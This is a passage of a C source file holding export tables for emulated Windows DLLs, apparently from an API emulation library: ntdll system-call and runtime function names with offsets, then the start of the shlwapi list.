NULL},\n\t{\"ZwOpenEventPair\", 0x0000D58E, NULL, NULL},\n\t{\"ZwOpenFile\", 0x0000D59E, NULL, NULL},\n\t{\"ZwOpenIoCompletion\", 0x0000D5AE, NULL, NULL},\n\t{\"ZwOpenJobObject\", 0x0000D5BE, NULL, NULL},\n\t{\"ZwOpenKey\", 0x0000D5CE, NULL, NULL},\n\t{\"ZwOpenKeyedEvent\", 0x0000DFDE, NULL, NULL},\n\t{\"ZwOpenMutant\", 0x0000D5DE, NULL, NULL},\n\t{\"ZwOpenObjectAuditAlarm\", 0x0000D5EE, NULL, NULL},\n\t{\"ZwOpenProcess\", 0x0000D5FE, NULL, NULL},\n\t{\"ZwOpenProcessToken\", 0x0000D60E, NULL, NULL},\n\t{\"ZwOpenProcessTokenEx\", 0x0000D61E, NULL, NULL},\n\t{\"ZwOpenSection\", 0x0000D62E, NULL, NULL},\n\t{\"ZwOpenSemaphore\", 0x0000D63E, NULL, NULL},\n\t{\"ZwOpenSymbolicLinkObject\", 0x0000D64E, NULL, NULL},\n\t{\"ZwOpenThread\", 0x0000D65E, NULL, NULL},\n\t{\"ZwOpenThreadToken\", 0x0000D66E, NULL, NULL},\n\t{\"ZwOpenThreadTokenEx\", 0x0000D67E, NULL, NULL},\n\t{\"ZwOpenTimer\", 0x0000D68E, NULL, NULL},\n\t{\"ZwPlugPlayControl\", 0x0000D69E, NULL, NULL},\n\t{\"ZwPowerInformation\", 0x0000D6AE, NULL, NULL},\n\t{\"ZwPrivilegeCheck\", 0x0000D6BE, NULL, NULL},\n\t{\"ZwPrivilegeObjectAuditAlarm\", 0x0000D6CE, NULL, NULL},\n\t{\"ZwPrivilegedServiceAuditAlarm\", 0x0000D6DE, NULL, NULL},\n\t{\"ZwProtectVirtualMemory\", 0x0000D6EE, NULL, NULL},\n\t{\"ZwPulseEvent\", 0x0000D6FE, NULL, NULL},\n\t{\"ZwQueryAttributesFile\", 0x0000D70E, NULL, NULL},\n\t{\"ZwQueryBootEntryOrder\", 0x0000D71E, NULL, NULL},\n\t{\"ZwQueryBootOptions\", 0x0000D72E, NULL, NULL},\n\t{\"ZwQueryDebugFilterState\", 0x0000D73E, NULL, NULL},\n\t{\"ZwQueryDefaultLocale\", 0x0000D74E, NULL, NULL},\n\t{\"ZwQueryDefaultUILanguage\", 0x0000D75E, NULL, NULL},\n\t{\"ZwQueryDirectoryFile\", 0x0000D76E, NULL, NULL},\n\t{\"ZwQueryDirectoryObject\", 0x0000D77E, NULL, NULL},\n\t{\"ZwQueryEaFile\", 0x0000D78E, NULL, NULL},\n\t{\"ZwQueryEvent\", 0x0000D79E, NULL, NULL},\n\t{\"ZwQueryFullAttributesFile\", 0x0000D7AE, NULL, NULL},\n\t{\"ZwQueryInformationAtom\", 0x0000D7BE, NULL, NULL},\n\t{\"ZwQueryInformationFile\", 0x0000D7CE, NULL, NULL},\n\t{\"ZwQueryInformationJobObject\", 0x0000D7DE, NULL, NULL},\n\t{\"ZwQueryInformationPort\", 0x0000D7EE, NULL, NULL},\n\t{\"ZwQueryInformationProcess\", 0x0000D7FE, NULL, NULL},\n\t{\"ZwQueryInformationThread\", 0x0000D80E, NULL, NULL},\n\t{\"ZwQueryInformationToken\", 0x0000D81E, NULL, NULL},\n\t{\"ZwQueryInstallUILanguage\", 0x0000D82E, NULL, NULL},\n\t{\"ZwQueryIntervalProfile\", 0x0000D83E, NULL, NULL},\n\t{\"ZwQueryIoCompletion\", 0x0000D84E, NULL, NULL},\n\t{\"ZwQueryKey\", 0x0000D85E, NULL, NULL},\n\t{\"ZwQueryMultipleValueKey\", 0x0000D86E, NULL, NULL},\n\t{\"ZwQueryMutant\", 0x0000D87E, NULL, NULL},\n\t{\"ZwQueryObject\", 0x0000D88E, NULL, NULL},\n\t{\"ZwQueryOpenSubKeys\", 0x0000D89E, NULL, NULL},\n\t{\"ZwQueryPerformanceCounter\", 0x0000D8AE, NULL, NULL},\n\t{\"ZwQueryPortInformationProcess\", 0x0000E00E, NULL, NULL},\n\t{\"ZwQueryQuotaInformationFile\", 0x0000D8BE, NULL, NULL},\n\t{\"ZwQuerySection\", 0x0000D8CE, NULL, NULL},\n\t{\"ZwQuerySecurityObject\", 0x0000D8DE, NULL, NULL},\n\t{\"ZwQuerySemaphore\", 0x0000D8EE, NULL, NULL},\n\t{\"ZwQuerySymbolicLinkObject\", 0x0000D8FE, NULL, NULL},\n\t{\"ZwQuerySystemEnvironmentValue\", 0x0000D90E, NULL, NULL},\n\t{\"ZwQuerySystemEnvironmentValueEx\", 0x0000D91E, NULL, NULL},\n\t{\"ZwQuerySystemInformation\", 0x0000D92E, NULL, NULL},\n\t{\"ZwQuerySystemTime\", 0x0000D93E, NULL, NULL},\n\t{\"ZwQueryTimer\", 0x0000D94E, NULL, NULL},\n\t{\"ZwQueryTimerResolution\", 0x0000D95E, NULL, NULL},\n\t{\"ZwQueryValueKey\", 0x0000D96E, NULL, NULL},\n\t{\"ZwQueryVirtualMemory\", 0x0000D97E, NULL, NULL},\n\t{\"ZwQueryVolumeInformationFile\", 0x0000D98E, NULL, NULL},\n\t{\"ZwQueueApcThread\", 0x0000D99E, NULL, NULL},\n\t{\"ZwRaiseException\", 0x0000D9AE, NULL, NULL},\n\t{\"ZwRaiseHardError\", 0x0000D9BE, NULL, NULL},\n\t{\"ZwReadFile\", 0x0000D9CE, NULL, NULL},\n\t{\"ZwReadFileScatter\", 0x0000D9DE, NULL, NULL},\n\t{\"ZwReadRequestData\", 0x0000D9EE, NULL, NULL},\n\t{\"ZwReadVirtualMemory\", 0x0000D9FE, NULL, NULL},\n\t{\"ZwRegisterThreadTerminatePort\", 0x0000DA0E, NULL, NULL},\n\t{\"ZwReleaseKeyedEvent\", 0x0000DFEE, NULL, NULL},\n\t{\"ZwReleaseMutant\", 0x0000DA1E, NULL, NULL},\n\t{\"ZwReleaseSemaphore\", 0x0000DA2E, NULL, NULL},\n\t{\"ZwRemoveIoCompletion\", 0x0000DA3E, NULL, NULL},\n\t{\"ZwRemoveProcessDebug\", 0x0000DA4E, NULL, NULL},\n\t{\"ZwRenameKey\", 0x0000DA5E, NULL, NULL},\n\t{\"ZwReplaceKey\", 0x0000DA6E, NULL, NULL},\n\t{\"ZwReplyPort\", 0x0000DA7E, NULL, NULL},\n\t{\"ZwReplyWaitReceivePort\", 0x0000DA8E, NULL, NULL},\n\t{\"ZwReplyWaitReceivePortEx\", 0x0000DA9E, NULL, NULL},\n\t{\"ZwReplyWaitReplyPort\", 0x0000DAAE, NULL, NULL},\n\t{\"ZwRequestDeviceWakeup\", 0x0000DABE, NULL, NULL},\n\t{\"ZwRequestPort\", 0x0000DACE, NULL, NULL},\n\t{\"ZwRequestWaitReplyPort\", 0x0000DADE, NULL, NULL},\n\t{\"ZwRequestWakeupLatency\", 0x0000DAEE, NULL, NULL},\n\t{\"ZwResetEvent\", 0x0000DAFE, NULL, NULL},\n\t{\"ZwResetWriteWatch\", 0x0000DB0E, NULL, NULL},\n\t{\"ZwRestoreKey\", 0x0000DB1E, NULL, NULL},\n\t{\"ZwResumeProcess\", 0x0000DB2E, NULL, NULL},\n\t{\"ZwResumeThread\", 0x0000DB3E, NULL, NULL},\n\t{\"ZwSaveKey\", 0x0000DB4E, NULL, NULL},\n\t{\"ZwSaveKeyEx\", 0x0000DB5E, NULL, NULL},\n\t{\"ZwSaveMergedKeys\", 0x0000DB6E, NULL, NULL},\n\t{\"ZwSecureConnectPort\", 0x0000DB7E, NULL, NULL},\n\t{\"ZwSetBootEntryOrder\", 0x0000DB8E, NULL, NULL},\n\t{\"ZwSetBootOptions\", 0x0000DB9E, NULL, NULL},\n\t{\"ZwSetContextThread\", 0x0000DBAE, NULL, NULL},\n\t{\"ZwSetDebugFilterState\", 0x0000DBBE, NULL, NULL},\n\t{\"ZwSetDefaultHardErrorPort\", 0x0000DBCE, NULL, NULL},\n\t{\"ZwSetDefaultLocale\", 0x0000DBDE, NULL, NULL},\n\t{\"ZwSetDefaultUILanguage\", 0x0000DBEE, NULL, NULL},\n\t{\"ZwSetEaFile\", 0x0000DBFE, NULL, NULL},\n\t{\"ZwSetEvent\", 0x0000DC0E, NULL, NULL},\n\t{\"ZwSetEventBoostPriority\", 0x0000DC1E, NULL, NULL},\n\t{\"ZwSetHighEventPair\", 0x0000DC2E, NULL, NULL},\n\t{\"ZwSetHighWaitLowEventPair\", 0x0000DC3E, NULL, NULL},\n\t{\"ZwSetInformationDebugObject\", 0x0000DC4E, NULL, NULL},\n\t{\"ZwSetInformationFile\", 0x0000DC5E, NULL, NULL},\n\t{\"ZwSetInformationJobObject\", 0x0000DC6E, NULL, NULL},\n\t{\"ZwSetInformationKey\", 0x0000DC7E, NULL, NULL},\n\t{\"ZwSetInformationObject\", 0x0000DC8E, NULL, NULL},\n\t{\"ZwSetInformationProcess\", 0x0000DC9E, NULL, NULL},\n\t{\"ZwSetInformationThread\", 0x0000DCAE, NULL, NULL},\n\t{\"ZwSetInformationToken\", 0x0000DCBE, NULL, NULL},\n\t{\"ZwSetIntervalProfile\", 0x0000DCCE, NULL, NULL},\n\t{\"ZwSetIoCompletion\", 0x0000DCDE, NULL, NULL},\n\t{\"ZwSetLdtEntries\", 0x0000DCEE, NULL, NULL},\n\t{\"ZwSetLowEventPair\", 0x0000DCFE, NULL, NULL},\n\t{\"ZwSetLowWaitHighEventPair\", 0x0000DD0E, NULL, NULL},\n\t{\"ZwSetQuotaInformationFile\", 0x0000DD1E, NULL, NULL},\n\t{\"ZwSetSecurityObject\", 0x0000DD2E, NULL, NULL},\n\t{\"ZwSetSystemEnvironmentValue\", 0x0000DD3E, NULL, NULL},\n\t{\"ZwSetSystemEnvironmentValueEx\", 0x0000DD4E, NULL, NULL},\n\t{\"ZwSetSystemInformation\", 0x0000DD5E, NULL, NULL},\n\t{\"ZwSetSystemPowerState\", 0x0000DD6E, NULL, NULL},\n\t{\"ZwSetSystemTime\", 0x0000DD7E, NULL, NULL},\n\t{\"ZwSetThreadExecutionState\", 0x0000DD8E, NULL, NULL},\n\t{\"ZwSetTimer\", 0x0000DD9E, NULL, NULL},\n\t{\"ZwSetTimerResolution\", 0x0000DDAE, NULL, NULL},\n\t{\"ZwSetUuidSeed\", 0x0000DDBE, NULL, NULL},\n\t{\"ZwSetValueKey\", 0x0000DDCE, NULL, NULL},\n\t{\"ZwSetVolumeInformationFile\", 0x0000DDDE, NULL, NULL},\n\t{\"ZwShutdownSystem\", 0x0000DDEE, NULL, NULL},\n\t{\"ZwSignalAndWaitForSingleObject\", 0x0000DDFE, NULL, NULL},\n\t{\"ZwStartProfile\", 0x0000DE0E, NULL, NULL},\n\t{\"ZwStopProfile\", 0x0000DE1E, NULL, NULL},\n\t{\"ZwSuspendProcess\", 0x0000DE2E, NULL, NULL},\n\t{\"ZwSuspendThread\", 0x0000DE3E, NULL, NULL},\n\t{\"ZwSystemDebugControl\", 0x0000DE4E, NULL, NULL},\n\t{\"ZwTerminateJobObject\", 0x0000DE5E, NULL, NULL},\n\t{\"ZwTerminateProcess\", 0x0000DE6E, NULL, NULL},\n\t{\"ZwTerminateThread\", 0x0000DE7E, NULL, NULL},\n\t{\"ZwTestAlert\", 0x0000DE8E, NULL, NULL},\n\t{\"ZwTraceEvent\", 0x0000DE9E, NULL, NULL},\n\t{\"ZwTranslateFilePath\", 0x0000DEAE, NULL, NULL},\n\t{\"ZwUnloadDriver\", 0x0000DEBE, NULL, NULL},\n\t{\"ZwUnloadKey\", 0x0000DECE, NULL, NULL},\n\t{\"ZwUnloadKeyEx\", 0x0000DEDE, NULL, NULL},\n\t{\"ZwUnlockFile\", 0x0000DEEE, NULL, NULL},\n\t{\"ZwUnlockVirtualMemory\", 0x0000DEFE, NULL, NULL},\n\t{\"ZwUnmapViewOfSection\", 0x0000DF0E, NULL, NULL},\n\t{\"ZwVdmControl\", 0x0000DF1E, NULL, NULL},\n\t{\"ZwWaitForDebugEvent\", 0x0000DF2E, NULL, NULL},\n\t{\"ZwWaitForKeyedEvent\", 0x0000DFFE, NULL, NULL},\n\t{\"ZwWaitForMultipleObjects\", 0x0000DF3E, NULL, NULL},\n\t{\"ZwWaitForSingleObject\", 0x0000DF4E, NULL, NULL},\n\t{\"ZwWaitHighEventPair\", 0x0000DF5E, NULL, NULL},\n\t{\"ZwWaitLowEventPair\", 0x0000DF6E, NULL, NULL},\n\t{\"ZwWriteFile\", 0x0000DF7E, NULL, NULL},\n\t{\"ZwWriteFileGather\", 0x0000DF8E, NULL, NULL},\n\t{\"ZwWriteRequestData\", 0x0000DF9E, NULL, NULL},\n\t{\"ZwWriteVirtualMemory\", 0x0000DFAE, NULL, NULL},\n\t{\"ZwYieldExecution\", 0x0000DFBE, NULL, NULL},\n\t{\"_CIcos\", 0x0000E5E6, NULL, NULL},\n\t{\"_CIlog\", 0x0000E6A2, NULL, NULL},\n\t{\"_CIpow\", 0x0000E020, NULL, NULL},\n\t{\"_CIsin\", 0x000012D1, NULL, NULL},\n\t{\"_CIsqrt\", 0x0000137F, NULL, NULL},\n\t{\"__isascii\", 0x0002C8D2, NULL, NULL},\n\t{\"__iscsym\", 0x00071583, NULL, NULL},\n\t{\"__iscsymf\", 0x0007153D, NULL, NULL},\n\t{\"__toascii\", 0x0007152B, NULL, NULL},\n\t{\"_alldiv\", 0x0000143B, NULL, NULL},\n\t{\"_alldvrm\", 0x000014E5, NULL, NULL},\n\t{\"_allmul\", 0x000015C4, NULL, NULL},\n\t{\"_alloca_probe\", 0x000015F8, NULL, NULL},\n\t{\"_allrem\", 0x00001635, NULL, NULL},\n\t{\"_allshl\", 0x000016E9, NULL, NULL},\n\t{\"_allshr\", 0x00001708, NULL, NULL},\n\t{\"_atoi64\", 0x000715C9, NULL, NULL},\n\t{\"_aulldiv\", 0x00001729, NULL, NULL},\n\t{\"_aulldvrm\", 0x00001791, NULL, NULL},\n\t{\"_aullrem\", 0x00001826, NULL, NULL},\n\t{\"_aullshr\", 0x0000189B, NULL, NULL},\n\t{\"_chkstk\", 0x000015F8, NULL, NULL},\n\t{\"_fltused\", 0x0007E048, NULL, NULL},\n\t{\"_ftol\", 0x000018BA, NULL, NULL},\n\t{\"_i64toa\", 0x00071745, NULL, NULL},\n\t{\"_i64tow\", 0x00071867, NULL, NULL},\n\t{\"_itoa\", 0x0002E994, NULL, NULL},\n\t{\"_itow\", 0x0002DCB1, NULL, NULL},\n\t{\"_lfind\", 0x000718C1, NULL, NULL},\n\t{\"_ltoa\", 0x00071686, NULL, NULL},\n\t{\"_ltow\", 0x0007179F, NULL, NULL},\n\t{\"_memccpy\", 0x000018E1, NULL, NULL},\n\t{\"_memicmp\", 0x000718FA, NULL, NULL},\n\t{\"_snprintf\", 0x0007190A, NULL, NULL},\n\t{\"_snwprintf\", 0x0001BBEA, NULL, NULL},\n\t{\"_splitpath\", 0x00071968, NULL, NULL},\n\t{\"_strcmpi\", 0x00012E64, NULL, NULL},\n\t{\"_stricmp\", 0x00012E64, NULL, NULL},\n\t{\"_strlwr\", 0x00071AB0, NULL, NULL},\n\t{\"_strnicmp\", 0x0001989D, NULL, NULL},\n\t{\"_strupr\", 0x00071ADD, NULL, NULL},\n\t{\"_tolower\", 0x00071B0A, NULL, NULL},\n\t{\"_toupper\", 0x00071B57, NULL, NULL},\n\t{\"_ui64toa\", 0x0007177D, NULL, NULL},\n\t{\"_ui64tow\", 0x0007189F, NULL, NULL},\n\t{\"_ultoa\", 0x000716B2, NULL, NULL},\n\t{\"_ultow\", 0x000717CB, NULL, NULL},\n\t{\"_vsnprintf\", 0x0002FB97, NULL, NULL},\n\t{\"_vsnwprintf\", 0x00071B69, NULL, NULL},\n\t{\"_wcsicmp\", 0x00013378, NULL, NULL},\n\t{\"_wcslwr\", 0x00024869, NULL, NULL},\n\t{\"_wcsnicmp\", 0x000181ED, NULL, NULL},\n\t{\"_wcsupr\", 0x00071BDF, NULL, NULL},\n\t{\"_wtoi\", 0x00071C15, NULL, NULL},\n\t{\"_wtoi64\", 0x00071C25, NULL, NULL},\n\t{\"_wtol\", 0x0003687A, NULL, NULL},\n\t{\"abs\", 0x00071CC2, NULL, NULL},\n\t{\"atan\", 0x00001934, NULL, NULL},\n\t{\"atoi\", 0x000248A9, NULL, NULL},\n\t{\"atol\", 0x000248B6, NULL, NULL},\n\t{\"bsearch\", 0x000151F3, NULL, NULL},\n\t{\"ceil\", 0x000019D7, NULL, NULL},\n\t{\"cos\", 0x0000E5FA, NULL, NULL},\n\t{\"fabs\", 0x00071CD7, NULL, NULL},\n\t{\"floor\", 0x00001B18, NULL, NULL},\n\t{\"isalnum\", 0x00071450, NULL, NULL},\n\t{\"isalpha\", 0x00071314, NULL, NULL},\n\t{\"iscntrl\", 0x000714F8, NULL, NULL},\n\t{\"isdigit\", 0x0002C8A9, NULL, NULL},\n\t{\"isgraph\", 0x000714C0, NULL, NULL},\n\t{\"islower\", 0x0007137F, NULL, NULL},\n\t{\"isprint\", 0x00071488, NULL, NULL},\n\t{\"ispunct\", 0x0007141D, NULL, NULL},\n\t{\"isspace\", 0x000713EA, NULL, NULL},\n\t{\"isupper\", 0x0007134C, NULL, NULL},\n\t{\"iswalpha\", 0x00071D8F, NULL, NULL},\n\t{\"iswctype\", 0x000269F1, NULL, NULL},\n\t{\"iswdigit\", 0x00026A95, NULL, NULL},\n\t{\"iswlower\", 0x00071DAA, NULL, NULL},\n\t{\"iswspace\", 0x00071DDD, NULL, NULL},\n\t{\"iswxdigit\", 0x00071DC2, NULL, NULL},\n\t{\"isxdigit\", 0x000713B2, NULL, NULL},\n\t{\"labs\", 0x00071CC2, NULL, NULL},\n\t{\"log\", 0x0000E69E, NULL, NULL},\n\t{\"mbstowcs\", 0x0002492C, NULL, NULL},\n\t{\"memchr\", 0x00001C60, NULL, NULL},\n\t{\"memcmp\", 0x00001D07, NULL, NULL},\n\t{\"memcpy\", 0x00001DB3, NULL, NULL},\n\t{\"memmove\", 0x000020F5, NULL, NULL},\n\t{\"memset\", 0x00002435, NULL, NULL},\n\t{\"pow\", 0x0000E01B, NULL, NULL},\n\t{\"qsort\", 0x000203D8, NULL, NULL},\n\t{\"sin\", 0x000012E5, NULL, NULL},\n\t{\"sprintf\", 0x00025BC4, NULL, NULL},\n\t{\"sqrt\", 0x00001393, NULL, NULL},\n\t{\"sscanf\", 0x00071DF5, NULL, NULL},\n\t{\"strcat\", 0x0000249D, NULL, NULL},\n\t{\"strchr\", 0x0000E80D, NULL, NULL},\n\t{\"strcmp\", 0x00002583, NULL, NULL},\n\t{\"strcpy\", 0x0000248D, NULL, NULL},\n\t{\"strcspn\", 0x00002608, NULL, NULL},\n\t{\"strlen\", 0x00002645, NULL, NULL},\n\t{\"strncat\", 0x000026C0, NULL, NULL},\n\t{\"strncmp\", 0x000027E5, NULL, NULL},\n\t{\"strncpy\", 0x0000281D, NULL, NULL},\n\t{\"strpbrk\", 0x0000291D, NULL, NULL},\n\t{\"strrchr\", 0x00002956, NULL, NULL},\n\t{\"strspn\", 0x0000297D, NULL, NULL},\n\t{\"strstr\", 0x0000E77E, NULL, NULL},\n\t{\"strtol\", 0x00071FEA, NULL, NULL},\n\t{\"strtoul\", 0x00072009, NULL, NULL},\n\t{\"swprintf\", 0x000184DB, NULL, NULL},\n\t{\"tan\", 0x000029CE, NULL, NULL},\n\t{\"tolower\", 0x00071B1C, NULL, NULL},\n\t{\"toupper\", 0x00023D33, NULL, NULL},\n\t{\"towlower\", 0x0002A846, NULL, NULL},\n\t{\"towupper\", 0x00072028, NULL, NULL},\n\t{\"vDbgPrintEx\", 0x00020324, NULL, NULL},\n\t{\"vDbgPrintExWithPrefix\", 0x0001EA7B, NULL, NULL},\n\t{\"vsprintf\", 0x0007203C, NULL, NULL},\n\t{\"wcscat\", 0x00018132, NULL, NULL},\n\t{\"wcschr\", 0x00014982, NULL, NULL},\n\t{\"wcscmp\", 0x00035454, NULL, NULL},\n\t{\"wcscpy\", 0x00012F60, NULL, NULL},\n\t{\"wcscspn\", 0x0003571E, NULL, NULL},\n\t{\"wcslen\", 0x0000FE4A, NULL, NULL},\n\t{\"wcsncat\", 0x00018B44, NULL, NULL},\n\t{\"wcsncmp\", 0x0001E42B, NULL, NULL},\n\t{\"wcsncpy\", 0x0001057F, NULL, NULL},\n\t{\"wcspbrk\", 0x0007209A, NULL, NULL},\n\t{\"wcsrchr\", 0x00014691, NULL, NULL},\n\t{\"wcsspn\", 0x000720E3, NULL, NULL},\n\t{\"wcsstr\", 0x0002382F, NULL, NULL},\n\t{\"wcstol\", 0x00029F23, NULL, NULL},\n\t{\"wcstombs\", 0x00072131, NULL, NULL},\n\t{\"wcstoul\", 0x00034DC1, NULL, NULL},\n\t{0,0,NULL},\n};\n\n\nstruct emu_env_w32_dll_export shlwapi_exports[] = \n{\n\t{\"SHAllocShared\", 0x0000B601, NULL, NULL},\n\t{\"SHLockShared\", 0x0001C37B, NULL, NULL},\n\t{\"SHUnlockShared\", 0x0000B54E, NULL, NULL},\n\t{\"SHFreeShared\", 0x0000B569, NULL, NULL},\n\t{\"GetAcceptLanguagesA\", 0x0005DE35, NULL, NULL},\n\t{\"GetAcceptLanguagesW\", 0x0002CB22, NULL, NULL},\n\t{\"SHCreateThread\", 0x000173E6, NULL, NULL},\n\t{\"IsCharSpaceW\", 0x000158E5, NULL, NULL},\n\t{\"StrCmpCA\", 0x00022E8E, NULL, NULL},\n\t{\"StrCmpCW\", 0x00006929, NULL, NULL},\n\t{\"StrCmpICA\", 0x00007000, NULL, NULL},\n\t{\"StrCmpICW\", 0x00006FB8, NULL, NULL},\n\t{\"AssocCreate\", 0x00009E79, NULL, NULL},\n\t{\"SHLoadIndirectString\", 0x0000BEBE, NULL, NULL},\n\t{\"AssocGetPerceivedType\", 0x000110E3, NULL, NULL},\n\t{\"AssocIsDangerous\", 0x00013CD3, NULL, NULL},\n\t{\"AssocQueryKeyA\", 0x0005009D, NULL, NULL},\n\t{\"AssocQueryKeyW\", 0x0000A5BE, NULL, NULL},\n\t{\"AssocQueryStringA\", 0x0004FE4D, NULL, NULL},\n\t{\"SHGetViewStatePropertyBag\", 0x0001B6AE, NULL, NULL},\n\t{\"DelayLoadFailureHook\", 0x00066BED, NULL, NULL},\n\t{\"AssocQueryStringByKeyA\", 0x0004FF88, NULL, NULL},\n\t{\"AssocQueryStringByKeyW\", 0x0000B130, NULL, NULL},\n\t{\"AssocQueryStringW\", 0x0001A7CE, NULL, NULL},\n\t{\"ChrCmpIA\", 0x0002C465, NULL, NULL},\n\t{\"ChrCmpIW\", 0x00007E1A, NULL, NULL},\n\t{\"ColorAdjustLuma\", 0x000412B4, NULL, NULL},\n\t{\"ColorHLSToRGB\", 0x00018BC2, NULL, NULL},\n\t{\"ColorRGBToHLS\", 0x00018B17, NULL, NULL},\n\t{\"DllGetVersion\", 0x00065B45, NULL, NULL},\n\t{\"GetMenuPosFromID\", 0x000172F9, NULL, NULL},\n\t{\"HashData\", 0x00023872, NULL, NULL},\n\t{\"IntlStrEqWorkerA\", 0x000448BD, NULL, NULL},\n\t{\"IntlStrEqWorkerW\", 0x0000761D, NULL, NULL},\n\t{\"IsCharSpaceA\", 0x000460AD, NULL, NULL},\n\t{\"PathAddBackslashA\", 0x0001058D, NULL, NULL},\n\t{\"PathAddBackslashW\", 0x00006E9D, NULL, NULL},\n\t{\"PathAddExtensionA\", 0x00048F33, NULL, NULL},\n\t{\"PathAddExtensionW\", 0x0001532B, NULL, NULL},\n\t{\"PathAppendA\", 0x0001913C, NULL, NULL},\n\t{\"PathAppendW\", 0x00007ADD, NULL, NULL},\n\t{\"PathBuildRootA\", 0x00007444, NULL, NULL},\n\t{\"PathBuildRootW\", 0x0000404E, NULL, NULL},\n\t{\"PathCanonicalizeA\", 0x0001902B, NULL, NULL},\n\t{\"PathCanonicalizeW\", 0x00007891, NULL, NULL},\n\t{\"PathCombineA\", 0x00019180, NULL, NULL},\n\t{\"PathCombineW\", 0x000079D9, NULL, NULL},\n\t{\"PathCommonPrefixA\", 0x000471D7, NULL, NULL},\n\t{\"PathCommonPrefixW\", 0x0000753A, NULL, NULL},\n\t{\"PathCompactPathA\", 0x0004843D, NULL, NULL},\n\t{\"PathCompactPathExA\", 0x00049129, NULL, NULL},\n\t{\"PathCompactPathExW\", 0x00051B22, NULL, NULL},\n\t{\"PathCompactPathW\", 0x00051565, NULL, NULL},\n\t{\"PathCreateFromUrlA\", 0x00022FA5, NULL, NULL},\n\t{\"PathCreateFromUrlW\", 0x0001D9D7, NULL, NULL},\n\t{\"PathFileExistsA\", 0x0004707F, NULL, NULL},\n\t{\"PathFileExistsW\", 0x00007D99, NULL, NULL},\n\t{\"PathFindExtensionA\", 0x0001F5EE, NULL, NULL},\n\t{\"PathFindExtensionW\", 0x00006869, NULL, NULL},\n\t{\"PathFindFileNameA\", 0x0000C1AC, NULL, NULL},\n\t{\"PathFindFileNameW\", 0x00007087, NULL, NULL},\n\t{\"PathFindNextComponentA\", 0x00047750, NULL, NULL},\n\t{\"PathFindNextComponentW\", 0x0001BFCD, NULL, NULL},\n\t{\"PathFindOnPathA\", 0x00048F18, NULL, NULL},\n\t{\"PathFindOnPathW\", 0x0001871F, NULL, NULL},\n\t{\"PathFindSuffixArrayA\", 0x000470EB, NULL, NULL},\n\t{\"PathFindSuffixArrayW\", 0x0005100D, NULL, NULL},\n\t{\"PathGetArgsA\", 0x00047002, NULL, NULL},\n\t{\"PathGetArgsW\", 0x00014211, NULL, NULL},\n\t{\"PathGetCharTypeA\", 0x00047A7C, NULL, NULL},\n\t{\"PathGetCharTypeW\", 0x0001C2DA, NULL, NULL},\n\t{\"PathGetDriveNumberA\", 0x00047434, NULL, NULL},\n\t{\"PathGetDriveNumberW\", 0x00006BEA, NULL, NULL},\n\t{\"PathIsContentTypeA\", 0x000479FC, NULL, NULL},\n\t{\"PathIsContentTypeW\", 0x000230D1, NULL, NULL},\n\t{\"PathIsDirectoryA\", 0x000475A8, NULL, NULL},\n\t{\"PathIsDirectoryEmptyA\", 0x00048374, NULL, NULL},\n\t{\"PathIsDirectoryEmptyW\", 0x0005149A, NULL, NULL},\n\t{\"PathIsDirectoryW\", 0x0001AE99, NULL, NULL},\n\t{\"PathIsFileSpecA\", 0x000473BA, NULL, NULL},\n\t{\"PathIsFileSpecW\", 0x0001299E, NULL, NULL},\n\t{\"PathIsLFNFileSpecA\", 0x00047CC9, NULL, NULL},\n\t{\"PathIsLFNFileSpecW\", 0x000512CA, NULL, NULL},\n\t{\"PathIsNetworkPathA\", 0x0004830F, NULL, NULL},\n\t{\"PathIsNetworkPathW\", 0x00007DD3, NULL, NULL},\n\t{\"PathIsPrefixA\", 0x000472DC, NULL, NULL},\n\t{\"PathIsPrefixW\", 0x0001434C, NULL, NULL},\n\t{\"PathIsRelativeA\", 0x000192A1, NULL, NULL},\n\t{\"PathIsRelativeW\", 0x000067E2, NULL, NULL},\n\t{\"PathIsRootA\", 0x00047529, NULL, NULL},\n\t{\"PathIsRootW\", 0x00007476, NULL, NULL},\n\t{\"PathIsSameRootA\", 0x0004797D, NULL, NULL},\n\t{\"PathIsSameRootW\", 0x0005114F, NULL, NULL},\n\t{\"PathIsSystemFolderA\", 0x0001C76E, NULL, NULL},\n\t{\"PathIsSystemFolderW\", 0x00051290, NULL, NULL},\n\t{\"PathIsUNCA\", 0x00018F75, NULL, NULL},\n\t{\"PathIsUNCServerA\", 0x00023629, NULL, NULL},\n\t{\"PathIsUNCServerShareA\", 0x000473ED, NULL, NULL},\n\t{\"PathIsUNCServerShareW\", 0x00007F99, NULL, NULL},\n\t{\"PathIsUNCServerW\", 0x00007F73, NULL, NULL},\n\t{\"PathIsUNCW\", 0x00006E7F, NULL, NULL},\n\t{\"PathIsURLA\", 0x000479C5, NULL, NULL},\n\t{\"PathIsURLW\", 0x0000BBA1, NULL, NULL},\n\t{\"PathMakePrettyA\", 0x0004808D, NULL, NULL},\n\t{\"PathMakePrettyW\", 0x000211BC, NULL, NULL},\n\t{\"PathMakeSystemFolderA\", 0x00048842, NULL, NULL},\n\t{\"PathMakeSystemFolderW\", 0x00004ABF, NULL, NULL},\n\t{\"PathMatchSpecA\", 0x000478C8, NULL, NULL},\n\t{\"PathMatchSpecW\", 0x00012866, NULL, NULL},\n\t{\"PathParseIconLocationA\", 0x000487CC, NULL, NULL},\n\t{\"PathParseIconLocationW\", 0x0000B0AD, NULL, NULL},\n\t{\"PathQuoteSpacesA\", 0x000476FC, NULL, NULL},\n\t{\"PathQuoteSpacesW\", 0x00051097, NULL, NULL},\n\t{\"PathRelativePathToA\", 0x00048FBA, NULL, NULL},\n\t{\"PathRelativePathToW\", 0x0001C015, NULL, NULL},\n\t{\"PathRemoveArgsA\", 0x00047046, NULL, NULL},\n\t{\"PathRemoveArgsW\", 0x0001424B, NULL, NULL},\n\t{\"PathRemoveBackslashA\", 0x00048285, NULL, NULL},\n\t{\"PathRemoveBackslashW\", 0x000074CF, NULL, NULL},\n\t{\"PathRemoveBlanksA\", 0x00048228, NULL, NULL},\n\t{\"PathRemoveBlanksW\", 0x0000B02C, NULL, NULL},\n\t{\"PathRemoveExtensionA\", 0x0004718E, NULL, NULL},\n\t{\"PathRemoveExtensionW\", 0x00006903, NULL, NULL},\n\t{\"PathRemoveFileSpecA\", 0x0004733C, NULL, NULL},\n\t{\"PathRemoveFileSpecW\", 0x00007C66, NULL, NULL},\n\t{\"PathRenameExtensionA\", 0x000481D2, NULL, NULL},\n\t{\"PathRenameExtensionW\", 0x00051442, NULL, NULL},\n\t{\"PathSearchAndQualifyA\", 0x000474AC, NULL, NULL},\n\t{\"PathSearchAndQualifyW\", 0x0001F633, NULL, 